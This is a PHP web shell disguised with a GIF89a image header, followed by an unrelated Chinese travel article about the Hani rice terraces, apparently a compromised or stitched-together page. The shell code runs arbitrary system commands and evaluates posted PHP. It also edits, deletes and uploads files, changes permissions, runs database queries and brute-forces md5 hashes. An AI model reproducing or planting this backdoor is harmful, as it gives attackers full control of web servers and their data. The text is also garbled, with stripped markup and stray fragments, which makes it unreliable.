GIF89aE E 'Execute Command', 'eval' => 'Evaluate PHP', 'mysql' => 'MySQL Query', 'chmod' => 'Chmod File', 'phpinfo' => 'PHPinfo', 'md5' => 'md5 cracker', 'headers' => 'Show headers', 'logout' => 'Log out' ); //The header, like it? $header = ' '.getenv("HTTP_HOST").' ~ Shell I
'; print $header; $footer = '
© Iron & RootShell Security Group
'; // //Page handling // if(isset($_REQUEST['p'])) { switch ($_REQUEST['p']) { case 'cmd': //Run command print "
Command:
"; if(isset($_REQUEST['command'])) { print "
";
						execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
					}
			break;
			
			
			case 'edit': //Edit a fie
				if(isset($_POST['editform']))
				{
					$f = $_GET['file'];
					$fh = fopen($f, 'w') or print "Error while opening file!";
					fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
					fclose($fh);
				}
				print "Editing file ".$_GET['file']." (".perm($_GET['file']).")

";
				
			break;
			
			case 'delete': //Delete a file
			
				if(isset($_POST['yes']))
				{
					if(unlink($_GET['file']))
					{
						print "File deleted successfully.";
					}
					else
					{
						print "Couldn't delete file.";
					}
				}
				
				
				if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
				{
					print "Are you sure you want to delete ".$_GET['file']."?

					

					
					
					";
				}
			
			
			break;
			
			
			case 'eval': //Evaluate PHP code
			
				print "
				

				
				
";
				
				if(isset($_POST['eval']))
				{
					print "
Output:
";
					print "
";
					eval($_POST['eval']);
				}
			
			break;
			
			case 'chmod': //Chmod file
				
				
				print "
Under construction!
";
				if(isset($_POST['chmod']))
				{
				switch ($_POST['chvalue']){
					case 777:
					chmod($_POST['chmod'],0777);
					break;
					case 644:
					chmod($_POST['chmod'],0644);
					break;
					case 755:
					chmod($_POST['chmod'],0755);
					break;
				}
				print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
				}
				if(isset($_GET['file']))
				{
					$content = urldecode($_GET['file']);
				}
				else
				{
					$content = "file/path/please";
				}
				
				print "
File to chmod:
				
New permission:
				";
				
			break;
			
			case 'mysql': //MySQL Query
			
			if(isset($_POST['host']))
			{
				$link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
				mysql_select_db($_POST['dbase']);
				$sql = $_POST['query'];
				
				
				$result = mysql_query($sql);
				
			}
			else
			{
				print "
				This only queries the database, doesn't return data!

				
				Host:


				Username:


				Password:


				Database:


				
				Query:

				
				
				";
				
			}
			
			break;
			
			case 'createdir':
			if(mkdir($_GET['crdir']))
			{
			print 'Directory created successfully.';
			}
			else
			{
			print 'Couldn\'t create directory';
			}
			break;
			
			
			case 'phpinfo': //PHP Info
				phpinfo();
			break;
			
			
			case 'rename':
			
				if(isset($_POST['fileold']))
				{
					if(rename($_POST['fileold'],$_POST['filenew']))
					{
						print "File renamed.";
					}
					else
					{
						print "Couldn't rename file.";
					}
					
				}
				if(isset($_GET['file']))
				{
					$file = basename(htmlspecialchars($_GET['file']));
				}
				else
				{
					$file = "";
				}
				
				print "Renaming ".$file." in folder ".realpath('.').".

								

					Rename:


					To:


					
					";
			break;
			
			case 'md5':
			if(isset($_POST['md5']))
			{
			if(!is_numeric($_POST['timelimit']))
			{
			$_POST['timelimit'] = 30;
			}
			set_time_limit($_POST['timelimit']);
				if(strlen($_POST['md5']) == 32)
				{
					
						if($_POST['chars'] == "9999")
						{
						$i = 0;
						while($_POST['md5'] != md5($i) && $i != 100000)
							{
								$i++;
							}
						}
						else
						{
							for($i = "a"; $i != "zzzzz"; $i++)
							{
								if(md5($i == $_POST['md5']))
								{
									break;
								}
							}
						}

					
					if(md5($i) == $_POST['md5'])
					{
							print "
Plaintext of ". $_POST['md5']. " is ".$i."


";
					}
					
				}
				
			}
			
			print "Will bruteforce the md5
				

				md5 to crack:


				Characters:

				Max. cracking time*:


				
				

*: if set_time_limit is allowed by php.ini";
			break;
			
			case 'headers':
			foreach(getallheaders() as $header => $value)
			{
			print htmlspecialchars($header . ":" . $value)."
";
			
			}
			break;
		}

}
else //Default page that will be shown when the page isn't found or no page is selected.
{
	
	$files = array();
	$directories = array();
	
	if(isset($_FILES['uploadedfile']['name']))
{
	$target_path = realpath('.').'/';
	$target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 

	if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
	    print "File:".  basename( $_FILES['uploadedfile']['name']). 
	    " has been uploaded";
	} else{
	    echo "File upload failed!";
	}
}


	
	
	
	print "";
	if ($handle = opendir('.'))
	{
		while (false !== ($file = readdir($handle))) 
		{
		      if(is_dir($file))
			  {
				$directories[] = $file;
			  }
			  else
			  {
				$files[] = $file;
			  }
		}
	asort($directories);
	asort($files);
		foreach($directories as $file)
		{
			print "";
		}
		
		foreach($files as $file)
		{
			print "";
		}
	}
	else
	{
		print "Error! Can't open ".realpath('.')."!
";
	}
	
	print "
OptionsFilenameSizePermissionsLast modified
[R][D]".$file."".perm($file)."".date ("Y/m/d, H:i:s", filemtime($file))."
[R][D]".$file."".filesize($file)."".perm($file)."".date ("Y/m/d, H:i:s", filemtime($file))."
Upload file




Change Directory


Create file


Create directory


";


}


function login()
{
	print "

	
Password?
	
	
";
}
function reload()
{
	header("Location: ".basename(__FILE__));
}

function get_execution_method()
{
	if(function_exists('passthru')){ $m = "passthru"; }
	if(function_exists('exec')){ $m = "exec"; }
	if(function_exists('shell_exec')){ $m = "shell_ exec"; }
	if(function_exists('system')){ $m = "system"; }
	if(!isset($m)) //No method found :-|
	{
		$m = "Disabled";
	}
	return($m);
}

function execute_command($method,$command)
{
	if($method == "passthru")
	{
		passthru($command);
	}
	
	elseif($method == "exec")
	{
		exec($command,$result);
		foreach($result as $output)
		{
			print $output."
";
		}
	}
	
	elseif($method == "shell_exec")
	{
		print shell_exec($command);
	}
	
	elseif($method == "system")
	{
		system($command);
	}

}

function perm($file)
{
	if(file_exists($file))
	{
		return substr(sprintf('%o', fileperms($file)), -4);
	}
	else
	{
		return "????";
	}
}

function get_color($file)
{
if(is_writable($file)) { return "green";}
if(!is_writable($file) && is_readable($file)) { return "white";}
if(!is_writable($file) && !is_readable($file)) { return "red";}



}

function show_dirs($where)
{
	if(ereg("^c:",realpath($where)))
	{
	$dirparts = explode('\\',realpath($where));
	}
	else
	{
	$dirparts = explode('/',realpath($where));
	}
	
	
	
	$i = 0;
	$total = "";
	
	foreach($dirparts as $part)
	{
		$p = 0;
		$pre = "";
		while($p != $i)
		{
			$pre .= $dirparts[$p]."/";
			$p++;
			
		}
		$total .= "".$part."/";
		$i++;
	}
	
	return "
".$total."

";

}
print $footer;

// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
exit();
?>






’); 



xcvxc 














































































































































红河哈尼山寨梯田，大自然的鬼斧神工



























推荐人：wenyiye　信息发布日期：2006-01-28 







 





 





    红河哈尼梯田是红河南岸哀牢山脉以哈尼族为主的各族人民利用“一山分四季，十里不同天”，“山有多高，水有多高”的特殊地理气候，发挥聪明才智和创造精神开垦的上百万亩农业生态奇观，它既是人文景观，也是自然景观，是民族文化与自然生态巧妙结合的典范。


　　红河哈尼梯田历史悠久，仅汉文字史料记载就有 1300 多年的历史，中国明代大农学家徐光启将其列为中国农耕史上的七大田制之一；红河哈尼梯田规模宏大，气势磅礴，绵延整个红河南岸的红河、元阳、绿春、金平等县，仅世界遗产申报地核心区元阳县境内就有 17 万亩梯田，其中集中连片的达上万亩，从山脚到山顶 级数高达 3000 多级。红河哈尼梯田文化内涵深厚、独特、具有科学性和完整性。以耕作梯田著称于世的哈尼族，其农耕生产生活过程中用水的独特方式，对森林的深刻崇拜，以及节日庆典、人生礼仪、服饰、歌舞、文学均以梯田为核心，处处体现着认识自然，利用自然，与大自然和谐相处，融为一体的特点。哈尼族与其它各民族平等相等，和睦共处，这种人与人和睦相亲的特点，也是红河哈尼梯田一道亮丽的风景线。


　　红河哈尼梯田是中国梯田的杰出代表，是世界农耕文明史上的奇迹。它呈现出的森林－村寨－梯田－江河四度同构的良性农业生态系统和独特的梯田文化景观，是中外任何梯田都无可比拟的；它所蕴含的人与自然高度和谐发展、人与人和睦相亲的古老文化特征，正是二十一世纪人类所追求的一种精神。在现代工业文明进程日益加快和信息时代到来的今天，红河哈尼梯田理应得到世界级的珍惜和保护，理应在保护的基础上获得良好的可持续发展。


 





 





 





 





 













信息来源：玩天下　作者：　原稿发布日期：